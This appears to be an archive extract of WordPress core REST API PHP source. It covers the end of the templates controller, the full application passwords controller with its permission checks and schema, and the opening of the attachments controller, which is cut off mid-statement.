				$revisions_count = ! is_wp_error( $revisions ) ? $revisions['count'] : 0;
				$revisions_base  = sprintf( '/%s/%s/%s/revisions', $this->namespace, $this->rest_base, $id );

				$links['version-history'] = array(
					'href'  => rest_url( $revisions_base ),
					'count' => $revisions_count,
				);

				if ( $revisions_count > 0 ) {
					$links['predecessor-version'] = array(
						'href' => rest_url( $revisions_base . '/' . $revisions['latest_id'] ),
						'id'   => $revisions['latest_id'],
					);
				}
			}
		}

		return $links;
	}

	/**
	 * Get the link relations available for the post and current user.
	 *
	 * @since 5.8.0
	 *
	 * @return string[] List of link relations.
	 */
	protected function get_available_actions() {
		$rels = array();

		$post_type = get_post_type_object( $this->post_type );

		if ( current_user_can( $post_type->cap->publish_posts ) ) {
			$rels[] = 'https://api.w.org/action-publish';
		}

		if ( current_user_can( 'unfiltered_html' ) ) {
			$rels[] = 'https://api.w.org/action-unfiltered-html';
		}

		return $rels;
	}

	/**
	 * Retrieves the query params for the posts collection.
	 *
	 * @since 5.8.0
	 * @since 5.9.0 Added `'area'` and `'post_type'`.
	 *
	 * @return array Collection parameters.
	 */
	public function get_collection_params() {
		return array(
			'context'   => $this->get_context_param( array( 'default' => 'view' ) ),
			'wp_id'     => array(
				'description' => __( 'Limit to the specified post id.' ),
				'type'        => 'integer',
			),
			'area'      => array(
				'description' => __( 'Limit to the specified template part area.' ),
				'type'        => 'string',
			),
			'post_type' => array(
				'description' => __( 'Post type to get the templates for.' ),
				'type'        => 'string',
			),
		);
	}

	/**
	 * Retrieves the block type' schema, conforming to JSON Schema.
	 *
	 * @since 5.8.0
	 * @since 5.9.0 Added `'area'`.
	 *
	 * @return array Item schema data.
	 */
	public function get_item_schema() {
		if ( $this->schema ) {
			return $this->add_additional_fields_schema( $this->schema );
		}

		$schema = array(
			'$schema'    => 'http://json-schema.org/draft-04/schema#',
			'title'      => $this->post_type,
			'type'       => 'object',
			'properties' => array(
				'id'              => array(
					'description' => __( 'ID of template.' ),
					'type'        => 'string',
					'context'     => array( 'embed', 'view', 'edit' ),
					'readonly'    => true,
				),
				'slug'            => array(
					'description' => __( 'Unique slug identifying the template.' ),
					'type'        => 'string',
					'context'     => array( 'embed', 'view', 'edit' ),
					'required'    => true,
					'minLength'   => 1,
					'pattern'     => '[a-zA-Z0-9_\%-]+',
				),
				'theme'           => array(
					'description' => __( 'Theme identifier for the template.' ),
					'type'        => 'string',
					'context'     => array( 'embed', 'view', 'edit' ),
				),
				'type'            => array(
					'description' => __( 'Type of template.' ),
					'type'        => 'string',
					'context'     => array( 'embed', 'view', 'edit' ),
				),
				'source'          => array(
					'description' => __( 'Source of template' ),
					'type'        => 'string',
					'context'     => array( 'embed', 'view', 'edit' ),
					'readonly'    => true,
				),
				'origin'          => array(
					'description' => __( 'Source of a customized template' ),
					'type'        => 'string',
					'context'     => array( 'embed', 'view', 'edit' ),
					'readonly'    => true,
				),
				'content'         => array(
					'description' => __( 'Content of template.' ),
					'type'        => array( 'object', 'string' ),
					'default'     => '',
					'context'     => array( 'embed', 'view', 'edit' ),
					'properties'  => array(
						'raw'           => array(
							'description' => __( 'Content for the template, as it exists in the database.' ),
							'type'        => 'string',
							'context'     => array( 'view', 'edit' ),
						),
						'block_version' => array(
							'description' => __( 'Version of the content block format used by the template.' ),
							'type'        => 'integer',
							'context'     => array( 'edit' ),
							'readonly'    => true,
						),
					),
				),
				'title'           => array(
					'description' => __( 'Title of template.' ),
					'type'        => array( 'object', 'string' ),
					'default'     => '',
					'context'     => array( 'embed', 'view', 'edit' ),
					'properties'  => array(
						'raw'      => array(
							'description' => __( 'Title for the template, as it exists in the database.' ),
							'type'        => 'string',
							'context'     => array( 'view', 'edit', 'embed' ),
						),
						'rendered' => array(
							'description' => __( 'HTML title for the template, transformed for display.' ),
							'type'        => 'string',
							'context'     => array( 'view', 'edit', 'embed' ),
							'readonly'    => true,
						),
					),
				),
				'description'     => array(
					'description' => __( 'Description of template.' ),
					'type'        => 'string',
					'default'     => '',
					'context'     => array( 'embed', 'view', 'edit' ),
				),
				'status'          => array(
					'description' => __( 'Status of template.' ),
					'type'        => 'string',
					'enum'        => array_keys( get_post_stati( array( 'internal' => false ) ) ),
					'default'     => 'publish',
					'context'     => array( 'embed', 'view', 'edit' ),
				),
				'wp_id'           => array(
					'description' => __( 'Post ID.' ),
					'type'        => 'integer',
					'context'     => array( 'embed', 'view', 'edit' ),
					'readonly'    => true,
				),
				'has_theme_file'  => array(
					'description' => __( 'Theme file exists.' ),
					'type'        => 'bool',
					'context'     => array( 'embed', 'view', 'edit' ),
					'readonly'    => true,
				),
				'author'          => array(
					'description' => __( 'The ID for the author of the template.' ),
					'type'        => 'integer',
					'context'     => array( 'view', 'edit', 'embed' ),
				),
				'modified'        => array(
					'description' => __( "The date the template was last modified, in the site's timezone." ),
					'type'        => 'string',
					'format'      => 'date-time',
					'context'     => array( 'view', 'edit' ),
					'readonly'    => true,
				),
				'author_text'     => array(
					'type'        => 'string',
					'description' => __( 'Human readable text for the author.' ),
					'readonly'    => true,
					'context'     => array( 'view', 'edit', 'embed' ),
				),
				'original_source' => array(
					'description' => __( 'Where the template originally comes from e.g. \'theme\'' ),
					'type'        => 'string',
					'readonly'    => true,
					'context'     => array( 'view', 'edit', 'embed' ),
					'enum'        => array(
						'theme',
						'plugin',
						'site',
						'user',
					),
				),
			),
		);

		if ( 'wp_template' === $this->post_type ) {
			$schema['properties']['is_custom'] = array(
				'description' => __( 'Whether a template is a custom template.' ),
				'type'        => 'bool',
				'context'     => array( 'embed', 'view', 'edit' ),
				'readonly'    => true,
			);
			$schema['properties']['plugin']    = array(
				'type'        => 'string',
				'description' => __( 'Plugin that registered the template.' ),
				'readonly'    => true,
				'context'     => array( 'view', 'edit', 'embed' ),
			);
		}

		if ( 'wp_template_part' === $this->post_type ) {
			$schema['properties']['area'] = array(
				'description' => __( 'Where the template part is intended for use (header, footer, etc.)' ),
				'type'        => 'string',
				'context'     => array( 'embed', 'view', 'edit' ),
			);
		}

		$this->schema = $schema;

		return $this->add_additional_fields_schema( $this->schema );
	}
}
endpoints/class-wp-rest-application-passwords-controller.php000064400000057132151024200430020470 0ustar00<?php
/**
 * REST API: WP_REST_Application_Passwords_Controller class
 *
 * @package    WordPress
 * @subpackage REST_API
 * @since      5.6.0
 */

/**
 * Core class to access a user's application passwords via the REST API.
 *
 * @since 5.6.0
 *
 * @see   WP_REST_Controller
 */
class WP_REST_Application_Passwords_Controller extends WP_REST_Controller {

	/**
	 * Application Passwords controller constructor.
	 *
	 * @since 5.6.0
	 */
	public function __construct() {
		$this->namespace = 'wp/v2';
		$this->rest_base = 'users/(?P<user_id>(?:[\d]+|me))/application-passwords';
	}

	/**
	 * Registers the REST API routes for the application passwords controller.
	 *
	 * @since 5.6.0
	 */
	public function register_routes() {
		register_rest_route(
			$this->namespace,
			'/' . $this->rest_base,
			array(
				array(
					'methods'             => WP_REST_Server::READABLE,
					'callback'            => array( $this, 'get_items' ),
					'permission_callback' => array( $this, 'get_items_permissions_check' ),
					'args'                => $this->get_collection_params(),
				),
				array(
					'methods'             => WP_REST_Server::CREATABLE,
					'callback'            => array( $this, 'create_item' ),
					'permission_callback' => array( $this, 'create_item_permissions_check' ),
					'args'                => $this->get_endpoint_args_for_item_schema(),
				),
				array(
					'methods'             => WP_REST_Server::DELETABLE,
					'callback'            => array( $this, 'delete_items' ),
					'permission_callback' => array( $this, 'delete_items_permissions_check' ),
				),
				'schema' => array( $this, 'get_public_item_schema' ),
			)
		);

		register_rest_route(
			$this->namespace,
			'/' . $this->rest_base . '/introspect',
			array(
				array(
					'methods'             => WP_REST_Server::READABLE,
					'callback'            => array( $this, 'get_current_item' ),
					'permission_callback' => array( $this, 'get_current_item_permissions_check' ),
					'args'                => array(
						'context' => $this->get_context_param( array( 'default' => 'view' ) ),
					),
				),
				'schema' => array( $this, 'get_public_item_schema' ),
			)
		);

		register_rest_route(
			$this->namespace,
			'/' . $this->rest_base . '/(?P<uuid>[\w\-]+)',
			array(
				array(
					'methods'             => WP_REST_Server::READABLE,
					'callback'            => array( $this, 'get_item' ),
					'permission_callback' => array( $this, 'get_item_permissions_check' ),
					'args'                => array(
						'context' => $this->get_context_param( array( 'default' => 'view' ) ),
					),
				),
				array(
					'methods'             => WP_REST_Server::EDITABLE,
					'callback'            => array( $this, 'update_item' ),
					'permission_callback' => array( $this, 'update_item_permissions_check' ),
					'args'                => $this->get_endpoint_args_for_item_schema( WP_REST_Server::EDITABLE ),
				),
				array(
					'methods'             => WP_REST_Server::DELETABLE,
					'callback'            => array( $this, 'delete_item' ),
					'permission_callback' => array( $this, 'delete_item_permissions_check' ),
				),
				'schema' => array( $this, 'get_public_item_schema' ),
			)
		);
	}

	/**
	 * Checks if a given request has access to get application passwords.
	 *
	 * @since 5.6.0
	 *
	 * @param WP_REST_Request $request Full details about the request.
	 * @return true|WP_Error True if the request has read access, WP_Error object otherwise.
	 */
	public function get_items_permissions_check( $request ) {
		$user = $this->get_user( $request );

		if ( is_wp_error( $user ) ) {
			return $user;
		}

		if ( ! current_user_can( 'list_app_passwords', $user->ID ) ) {
			return new WP_Error(
				'rest_cannot_list_application_passwords',
				__( 'Sorry, you are not allowed to list application passwords for this user.' ),
				array( 'status' => rest_authorization_required_code() )
			);
		}

		return true;
	}

	/**
	 * Retrieves a collection of application passwords.
	 *
	 * @since 5.6.0
	 *
	 * @param WP_REST_Request $request Full details about the request.
	 * @return WP_REST_Response|WP_Error Response object on success, or WP_Error object on failure.
	 */
	public function get_items( $request ) {
		$user = $this->get_user( $request );

		if ( is_wp_error( $user ) ) {
			return $user;
		}

		$passwords = WP_Application_Passwords::get_user_application_passwords( $user->ID );
		$response  = array();

		foreach ( $passwords as $password ) {
			$response[] = $this->prepare_response_for_collection(
				$this->prepare_item_for_response( $password, $request )
			);
		}

		return new WP_REST_Response( $response );
	}

	/**
	 * Checks if a given request has access to get a specific application password.
	 *
	 * @since 5.6.0
	 *
	 * @param WP_REST_Request $request Full details about the request.
	 * @return true|WP_Error True if the request has read access for the item, WP_Error object otherwise.
	 */
	public function get_item_permissions_check( $request ) {
		$user = $this->get_user( $request );

		if ( is_wp_error( $user ) ) {
			return $user;
		}

		if ( ! current_user_can( 'read_app_password', $user->ID, $request['uuid'] ) ) {
			return new WP_Error(
				'rest_cannot_read_application_password',
				__( 'Sorry, you are not allowed to read this application password.' ),
				array( 'status' => rest_authorization_required_code() )
			);
		}

		return true;
	}

	/**
	 * Retrieves one application password from the collection.
	 *
	 * @since 5.6.0
	 *
	 * @param WP_REST_Request $request Full details about the request.
	 * @return WP_REST_Response|WP_Error Response object on success, or WP_Error object on failure.
	 */
	public function get_item( $request ) {
		$password = $this->get_application_password( $request );

		if ( is_wp_error( $password ) ) {
			return $password;
		}

		return $this->prepare_item_for_response( $password, $request );
	}

	/**
	 * Checks if a given request has access to create application passwords.
	 *
	 * @since 5.6.0
	 *
	 * @param WP_REST_Request $request Full details about the request.
	 * @return true|WP_Error True if the request has access to create items, WP_Error object otherwise.
	 */
	public function create_item_permissions_check( $request ) {
		$user = $this->get_user( $request );

		if ( is_wp_error( $user ) ) {
			return $user;
		}

		if ( ! current_user_can( 'create_app_password', $user->ID ) ) {
			return new WP_Error(
				'rest_cannot_create_application_passwords',
				__( 'Sorry, you are not allowed to create application passwords for this user.' ),
				array( 'status' => rest_authorization_required_code() )
			);
		}

		return true;
	}

	/**
	 * Creates an application password.
	 *
	 * @since 5.6.0
	 *
	 * @param WP_REST_Request $request Full details about the request.
	 * @return WP_REST_Response|WP_Error Response object on success, or WP_Error object on failure.
	 */
	public function create_item( $request ) {
		$user = $this->get_user( $request );

		if ( is_wp_error( $user ) ) {
			return $user;
		}

		$prepared = $this->prepare_item_for_database( $request );

		if ( is_wp_error( $prepared ) ) {
			return $prepared;
		}

		$created = WP_Application_Passwords::create_new_application_password( $user->ID, wp_slash( (array) $prepared ) );

		if ( is_wp_error( $created ) ) {
			return $created;
		}

		$password = $created[0];
		$item     = WP_Application_Passwords::get_user_application_password( $user->ID, $created[1]['uuid'] );

		$item['new_password'] = WP_Application_Passwords::chunk_password( $password );
		$fields_update        = $this->update_additional_fields_for_object( $item, $request );

		if ( is_wp_error( $fields_update ) ) {
			return $fields_update;
		}

		/**
		 * Fires after a single application password is completely created or updated via the REST API.
		 *
		 * @since 5.6.0
		 *
		 * @param array           $item     Inserted or updated password item.
		 * @param WP_REST_Request $request  Request object.
		 * @param bool            $creating True when creating an application password, false when updating.
		 */
		do_action( 'rest_after_insert_application_password', $item, $request, true );

		$request->set_param( 'context', 'edit' );
		$response = $this->prepare_item_for_response( $item, $request );

		$response->set_status( 201 );
		$response->header( 'Location', $response->get_links()['self'][0]['href'] );

		return $response;
	}

	/**
	 * Checks if a given request has access to update application passwords.
	 *
	 * @since 5.6.0
	 *
	 * @param WP_REST_Request $request Full details about the request.
	 * @return true|WP_Error True if the request has access to create items, WP_Error object otherwise.
	 */
	public function update_item_permissions_check( $request ) {
		$user = $this->get_user( $request );

		if ( is_wp_error( $user ) ) {
			return $user;
		}

		if ( ! current_user_can( 'edit_app_password', $user->ID, $request['uuid'] ) ) {
			return new WP_Error(
				'rest_cannot_edit_application_password',
				__( 'Sorry, you are not allowed to edit this application password.' ),
				array( 'status' => rest_authorization_required_code() )
			);
		}

		return true;
	}

	/**
	 * Updates an application password.
	 *
	 * @since 5.6.0
	 *
	 * @param WP_REST_Request $request Full details about the request.
	 * @return WP_REST_Response|WP_Error Response object on success, or WP_Error object on failure.
	 */
	public function update_item( $request ) {
		$user = $this->get_user( $request );

		if ( is_wp_error( $user ) ) {
			return $user;
		}

		$item = $this->get_application_password( $request );

		if ( is_wp_error( $item ) ) {
			return $item;
		}

		$prepared = $this->prepare_item_for_database( $request );

		if ( is_wp_error( $prepared ) ) {
			return $prepared;
		}

		$saved = WP_Application_Passwords::update_application_password( $user->ID, $item['uuid'], wp_slash( (array) $prepared ) );

		if ( is_wp_error( $saved ) ) {
			return $saved;
		}

		$fields_update = $this->update_additional_fields_for_object( $item, $request );

		if ( is_wp_error( $fields_update ) ) {
			return $fields_update;
		}

		$item = WP_Application_Passwords::get_user_application_password( $user->ID, $item['uuid'] );

		/** This action is documented in wp-includes/rest-api/endpoints/class-wp-rest-application-passwords-controller.php */
		do_action( 'rest_after_insert_application_password', $item, $request, false );

		$request->set_param( 'context', 'edit' );
		return $this->prepare_item_for_response( $item, $request );
	}

	/**
	 * Checks if a given request has access to delete all application passwords for a user.
	 *
	 * @since 5.6.0
	 *
	 * @param WP_REST_Request $request Full details about the request.
	 * @return true|WP_Error True if the request has access to delete the item, WP_Error object otherwise.
	 */
	public function delete_items_permissions_check( $request ) {
		$user = $this->get_user( $request );

		if ( is_wp_error( $user ) ) {
			return $user;
		}

		if ( ! current_user_can( 'delete_app_passwords', $user->ID ) ) {
			return new WP_Error(
				'rest_cannot_delete_application_passwords',
				__( 'Sorry, you are not allowed to delete application passwords for this user.' ),
				array( 'status' => rest_authorization_required_code() )
			);
		}

		return true;
	}

	/**
	 * Deletes all application passwords for a user.
	 *
	 * @since 5.6.0
	 *
	 * @param WP_REST_Request $request Full details about the request.
	 * @return WP_REST_Response|WP_Error Response object on success, or WP_Error object on failure.
	 */
	public function delete_items( $request ) {
		$user = $this->get_user( $request );

		if ( is_wp_error( $user ) ) {
			return $user;
		}

		$deleted = WP_Application_Passwords::delete_all_application_passwords( $user->ID );

		if ( is_wp_error( $deleted ) ) {
			return $deleted;
		}

		return new WP_REST_Response(
			array(
				'deleted' => true,
				'count'   => $deleted,
			)
		);
	}

	/**
	 * Checks if a given request has access to delete a specific application password for a user.
	 *
	 * @since 5.6.0
	 *
	 * @param WP_REST_Request $request Full details about the request.
	 * @return true|WP_Error True if the request has access to delete the item, WP_Error object otherwise.
	 */
	public function delete_item_permissions_check( $request ) {
		$user = $this->get_user( $request );

		if ( is_wp_error( $user ) ) {
			return $user;
		}

		if ( ! current_user_can( 'delete_app_password', $user->ID, $request['uuid'] ) ) {
			return new WP_Error(
				'rest_cannot_delete_application_password',
				__( 'Sorry, you are not allowed to delete this application password.' ),
				array( 'status' => rest_authorization_required_code() )
			);
		}

		return true;
	}

	/**
	 * Deletes an application password for a user.
	 *
	 * @since 5.6.0
	 *
	 * @param WP_REST_Request $request Full details about the request.
	 * @return WP_REST_Response|WP_Error Response object on success, or WP_Error object on failure.
	 */
	public function delete_item( $request ) {
		$user = $this->get_user( $request );

		if ( is_wp_error( $user ) ) {
			return $user;
		}

		$password = $this->get_application_password( $request );

		if ( is_wp_error( $password ) ) {
			return $password;
		}

		$request->set_param( 'context', 'edit' );
		$previous = $this->prepare_item_for_response( $password, $request );
		$deleted  = WP_Application_Passwords::delete_application_password( $user->ID, $password['uuid'] );

		if ( is_wp_error( $deleted ) ) {
			return $deleted;
		}

		return new WP_REST_Response(
			array(
				'deleted'  => true,
				'previous' => $previous->get_data(),
			)
		);
	}

	/**
	 * Checks if a given request has access to get the currently used application password for a user.
	 *
	 * @since 5.7.0
	 *
	 * @param WP_REST_Request $request Full details about the request.
	 * @return true|WP_Error True if the request has read access for the item, WP_Error object otherwise.
	 */
	public function get_current_item_permissions_check( $request ) {
		$user = $this->get_user( $request );

		if ( is_wp_error( $user ) ) {
			return $user;
		}

		if ( get_current_user_id() !== $user->ID ) {
			return new WP_Error(
				'rest_cannot_introspect_app_password_for_non_authenticated_user',
				__( 'The authenticated application password can only be introspected for the current user.' ),
				array( 'status' => rest_authorization_required_code() )
			);
		}

		return true;
	}

	/**
	 * Retrieves the application password being currently used for authentication of a user.
	 *
	 * @since 5.7.0
	 *
	 * @param WP_REST_Request $request Full details about the request.
	 * @return WP_REST_Response|WP_Error Response object on success, or WP_Error object on failure.
	 */
	public function get_current_item( $request ) {
		$user = $this->get_user( $request );

		if ( is_wp_error( $user ) ) {
			return $user;
		}

		$uuid = rest_get_authenticated_app_password();

		if ( ! $uuid ) {
			return new WP_Error(
				'rest_no_authenticated_app_password',
				__( 'Cannot introspect application password.' ),
				array( 'status' => 404 )
			);
		}

		$password = WP_Application_Passwords::get_user_application_password( $user->ID, $uuid );

		if ( ! $password ) {
			return new WP_Error(
				'rest_application_password_not_found',
				__( 'Application password not found.' ),
				array( 'status' => 500 )
			);
		}

		return $this->prepare_item_for_response( $password, $request );
	}

	/**
	 * Performs a permissions check for the request.
	 *
	 * @since 5.6.0
	 * @deprecated 5.7.0 Use `edit_user` directly or one of the specific meta capabilities introduced in 5.7.0.
	 *
	 * @param WP_REST_Request $request
	 * @return true|WP_Error
	 */
	protected function do_permissions_check( $request ) {
		_deprecated_function( __METHOD__, '5.7.0' );

		$user = $this->get_user( $request );

		if ( is_wp_error( $user ) ) {
			return $user;
		}

		if ( ! current_user_can( 'edit_user', $user->ID ) ) {
			return new WP_Error(
				'rest_cannot_manage_application_passwords',
				__( 'Sorry, you are not allowed to manage application passwords for this user.' ),
				array( 'status' => rest_authorization_required_code() )
			);
		}

		return true;
	}

	/**
	 * Prepares an application password for a create or update operation.
	 *
	 * @since 5.6.0
	 *
	 * @param WP_REST_Request $request Request object.
	 * @return object|WP_Error The prepared item, or WP_Error object on failure.
	 */
	protected function prepare_item_for_database( $request ) {
		$prepared = (object) array(
			'name' => $request['name'],
		);

		if ( $request['app_id'] && ! $request['uuid'] ) {
			$prepared->app_id = $request['app_id'];
		}

		/**
		 * Filters an application password before it is inserted via the REST API.
		 *
		 * @since 5.6.0
		 *
		 * @param stdClass        $prepared An object representing a single application password prepared for inserting or updating the database.
		 * @param WP_REST_Request $request  Request object.
		 */
		return apply_filters( 'rest_pre_insert_application_password', $prepared, $request );
	}

	/**
	 * Prepares the application password for the REST response.
	 *
	 * @since 5.6.0
	 *
	 * @param array           $item    WordPress representation of the item.
	 * @param WP_REST_Request $request Request object.
	 * @return WP_REST_Response|WP_Error Response object on success, or WP_Error object on failure.
	 */
	public function prepare_item_for_response( $item, $request ) {
		$user = $this->get_user( $request );

		if ( is_wp_error( $user ) ) {
			return $user;
		}

		$fields = $this->get_fields_for_response( $request );

		$prepared = array(
			'uuid'      => $item['uuid'],
			'app_id'    => empty( $item['app_id'] ) ? '' : $item['app_id'],
			'name'      => $item['name'],
			'created'   => gmdate( 'Y-m-d\TH:i:s', $item['created'] ),
			'last_used' => $item['last_used'] ? gmdate( 'Y-m-d\TH:i:s', $item['last_used'] ) : null,
			'last_ip'   => $item['last_ip'] ? $item['last_ip'] : null,
		);

		if ( isset( $item['new_password'] ) ) {
			$prepared['password'] = $item['new_password'];
		}

		$prepared = $this->add_additional_fields_to_object( $prepared, $request );
		$prepared = $this->filter_response_by_context( $prepared, $request['context'] );

		$response = new WP_REST_Response( $prepared );

		if ( rest_is_field_included( '_links', $fields ) || rest_is_field_included( '_embedded', $fields ) ) {
			$response->add_links( $this->prepare_links( $user, $item ) );
		}

		/**
		 * Filters the REST API response for an application password.
		 *
		 * @since 5.6.0
		 *
		 * @param WP_REST_Response $response The response object.
		 * @param array            $item     The application password array.
		 * @param WP_REST_Request  $request  The request object.
		 */
		return apply_filters( 'rest_prepare_application_password', $response, $item, $request );
	}

	/**
	 * Prepares links for the request.
	 *
	 * @since 5.6.0
	 *
	 * @param WP_User $user The requested user.
	 * @param array   $item The application password.
	 * @return array The list of links.
	 */
	protected function prepare_links( WP_User $user, $item ) {
		return array(
			'self' => array(
				'href' => rest_url(
					sprintf(
						'%s/users/%d/application-passwords/%s',
						$this->namespace,
						$user->ID,
						$item['uuid']
					)
				),
			),
		);
	}

	/**
	 * Gets the requested user.
	 *
	 * @since 5.6.0
	 *
	 * @param WP_REST_Request $request The request object.
	 * @return WP_User|WP_Error The WordPress user associated with the request, or a WP_Error if none found.
	 */
	protected function get_user( $request ) {
		if ( ! wp_is_application_passwords_available() ) {
			return new WP_Error(
				'application_passwords_disabled',
				__( 'Application passwords are not available.' ),
				array( 'status' => 501 )
			);
		}

		$error = new WP_Error(
			'rest_user_invalid_id',
			__( 'Invalid user ID.' ),
			array( 'status' => 404 )
		);

		$id = $request['user_id'];

		if ( 'me' === $id ) {
			if ( ! is_user_logged_in() ) {
				return new WP_Error(
					'rest_not_logged_in',
					__( 'You are not currently logged in.' ),
					array( 'status' => 401 )
				);
			}

			$user = wp_get_current_user();
		} else {
			$id = (int) $id;

			if ( $id <= 0 ) {
				return $error;
			}

			$user = get_userdata( $id );
		}

		if ( empty( $user ) || ! $user->exists() ) {
			return $error;
		}

		if ( is_multisite() && ! user_can( $user->ID, 'manage_sites' ) && ! is_user_member_of_blog( $user->ID ) ) {
			return $error;
		}

		if ( ! wp_is_application_passwords_available_for_user( $user ) ) {
			return new WP_Error(
				'application_passwords_disabled_for_user',
				__( 'Application passwords are not available for your account. Please contact the site administrator for assistance.' ),
				array( 'status' => 501 )
			);
		}

		return $user;
	}

	/**
	 * Gets the requested application password for a user.
	 *
	 * @since 5.6.0
	 *
	 * @param WP_REST_Request $request The request object.
	 * @return array|WP_Error The application password details if found, a WP_Error otherwise.
	 */
	protected function get_application_password( $request ) {
		$user = $this->get_user( $request );

		if ( is_wp_error( $user ) ) {
			return $user;
		}

		$password = WP_Application_Passwords::get_user_application_password( $user->ID, $request['uuid'] );

		if ( ! $password ) {
			return new WP_Error(
				'rest_application_password_not_found',
				__( 'Application password not found.' ),
				array( 'status' => 404 )
			);
		}

		return $password;
	}

	/**
	 * Retrieves the query params for the collections.
	 *
	 * @since 5.6.0
	 *
	 * @return array Query parameters for the collection.
	 */
	public function get_collection_params() {
		return array(
			'context' => $this->get_context_param( array( 'default' => 'view' ) ),
		);
	}

	/**
	 * Retrieves the application password's schema, conforming to JSON Schema.
	 *
	 * @since 5.6.0
	 *
	 * @return array Item schema data.
	 */
	public function get_item_schema() {
		if ( $this->schema ) {
			return $this->add_additional_fields_schema( $this->schema );
		}

		$this->schema = array(
			'$schema'    => 'http://json-schema.org/draft-04/schema#',
			'title'      => 'application-password',
			'type'       => 'object',
			'properties' => array(
				'uuid'      => array(
					'description' => __( 'The unique identifier for the application password.' ),
					'type'        => 'string',
					'format'      => 'uuid',
					'context'     => array( 'view', 'edit', 'embed' ),
					'readonly'    => true,
				),
				'app_id'    => array(
					'description' => __( 'A UUID provided by the application to uniquely identify it. It is recommended to use an UUID v5 with the URL or DNS namespace.' ),
					'type'        => 'string',
					'format'      => 'uuid',
					'context'     => array( 'view', 'edit', 'embed' ),
				),
				'name'      => array(
					'description' => __( 'The name of the application password.' ),
					'type'        => 'string',
					'required'    => true,
					'context'     => array( 'view', 'edit', 'embed' ),
					'minLength'   => 1,
					'pattern'     => '.*\S.*',
				),
				'password'  => array(
					'description' => __( 'The generated password. Only available after adding an application.' ),
					'type'        => 'string',
					'context'     => array( 'edit' ),
					'readonly'    => true,
				),
				'created'   => array(
					'description' => __( 'The GMT date the application password was created.' ),
					'type'        => 'string',
					'format'      => 'date-time',
					'context'     => array( 'view', 'edit' ),
					'readonly'    => true,
				),
				'last_used' => array(
					'description' => __( 'The GMT date the application password was last used.' ),
					'type'        => array( 'string', 'null' ),
					'format'      => 'date-time',
					'context'     => array( 'view', 'edit' ),
					'readonly'    => true,
				),
				'last_ip'   => array(
					'description' => __( 'The IP address the application password was last used by.' ),
					'type'        => array( 'string', 'null' ),
					'format'      => 'ip',
					'context'     => array( 'view', 'edit' ),
					'readonly'    => true,
				),
			),
		);

		return $this->add_additional_fields_schema( $this->schema );
	}
}
endpoints/class-wp-rest-attachments-controller.php000064400000137563151024200430016464 0ustar00<?php
/**
 * REST API: WP_REST_Attachments_Controller class
 *
 * @package WordPress
 * @subpackage REST_API
 * @since 4.7.0
 */

/**
 * Core controller used to access attachments via the REST API.
 *
 * @since 4.7.0
 *
 * @see WP_REST_Posts_Controller
 */
class WP_REST_Attachments_Controller extends WP_REST_Posts_Controller {

	/**
	 * Whether the controller supports batching.
	 *
	 * @since 5.9.0
	 * @var false
	 */
	protected $allow_batch = false;

	/**
	 * Registers the routes for attachments.
	 *
	 * @since 5.3.0
	 *
	 * @see register_rest_route()
	 */
	public function register_routes() {
		parent::register_routes();
		register_rest_route(
			$this->namespace,
			'/' . $this->rest_base . '/(?P<id>[\d]+)/post-process',
			array(
				'methods'             => WP_REST_Server::CREATABLE,
				'callback'            => array( $this, 'post_process_item' ),
				'permission_callback' => array( $this, 'post_process_item_permissions_check' ),
				'args'                => array(
					'id'     => array(
						'description' => __( 'Unique identifier for the attachment.' ),
						'type'        => 'integer',
					),
					'action' => array(
						'type'     => 'string',
						'enum'     => array( 'create-image-subsizes' ),
						'required' => true,
					),
				),
			)
		);
		register_rest_route(
			$this->namespace,
			'/' . $this->rest_base . '/(?P<id>[\d]+)/edit',
			array(
				'methods'             => WP_REST_Server::CREATABLE,
				'callback'            => array( $this, 'edit_media_item' ),
				'permission_callback' => array( $this, 'edit_media_item_permissions_check' ),
				'args'                => $this->get_edit_media_item_args(),
			)
		);
	}

	/**
	 * Determines the allowed query_vars for a get_items() response and
	 * prepares for WP_Query.
	 *
	 * @since 4.7.0
	 *
	 * @param array           $prepared_args Optional. Array of prepared arguments. Default empty array.
	 * @param WP_REST_Request $request       Optional. Request to prepare items for.
	 * @return array Array of query arguments.
	 */
	protected function prepare_items_query( $prepared_args = array(), $request = null ) {
		$query_args = parent::prepare_items_query( $prepared_args, $request );

		if ( empty( $query_args['post_status'] ) ) {
			$query_args['post_status'] = 'inherit';
		}

		$media_types = $this->get_media_types();

		if ( ! empty( $request['media_type'] ) && isset( $media_types[ $request['media_type'] ] ) ) {
			$query_args['post_mime_type'] = $media_types[ $request['media_type'] ];
		}

		if ( ! empty( $request['mime_type'] ) ) {
			$parts = explode( '/', $request['mime_type'] );
			if ( isset( $media_types[ $parts[0] ] ) && in_array( $request['mime_type'], $media_types[ $parts[0] ], true ) ) {
				$query_args['post_mime_type'] = $request['mime_type'];
			}
		}

		// Filter query clauses to include filenames.
		if ( isset( $query_args['s'] ) ) {
			add_filter( 'wp_allow_query_attachment_by_filename', '__return_true' );
		}

		return $query_args;
	}

	/**
	 * Checks if a given request has access to create an attachment.
	 *
	 * @since 4.7.0
	 *
	 * @param WP_REST_Request $request Full details about the request.
	 * @return true|WP_Error Boolean true if the attachment may be created, or a WP_Error if not.
	 */
	public function create_item_permissions_check( $request ) {
		$ret = parent::create_item_permissions_check( $request );

		if ( ! $ret || is_wp_error( $ret ) ) {
			return $ret;
		}

		if ( ! current_user_can( 'upload_files' ) ) {
			return new WP_Error(
				'rest_cannot_create',
				__( 'Sorry, you are not allowed to upload media on this site.' ),
				array( 'status' => 400 )
			);
		}

		// Attaching media to a post requires ability to edit said post.
		if ( ! empty( $request['post'] ) && ! current_user_can( 'edit_post', (int) $request['post'] ) ) {
			return new WP_Error(
				'rest_cannot_edit',
				__( 'Sorry, you are not allowed to upload media to this post.' ),
				array( 'status' => rest_authorization_required_code() )
			);
		}
		$files = $request->get_file_params();

		/**
		 * Filter whether the server should prevent uploads for image types it doesn't support. Default true.
		 *
		 * Developers can use this filter to enable uploads of certain image types. By default image types that are not
		 * supported by the server are prevented from being uploaded.
		 *
		 * @since 6.8.0
		 *
		 * @param bool        $check_mime Whether to prevent uploads of unsupported image types.
		 * @param string|null $mime_type  The mime type of the file being uploaded (if available).
		 */
		$prevent_unsupported_uploads = apply_filters( 'wp_prevent_unsupported_mime_type_uploads', true, isset( $files['file']['type'] ) ? $files['file']['type'] : null );

		// If the upload is an image, check if the server can handle the mime type.
		if (
			$prevent_unsupported_uploads &&
			isset( $files['file']['type'] ) &&
			str_starts_with( $files['file']['type'], 'image/' )
		) {
			// List of non-resizable image formats.
			$editor_non_resizable_formats = array(
				'image/svg+xml',
			);

			// Check if the image editor supports the type or ignore if it isn't a format resizable by an editor.
			if (
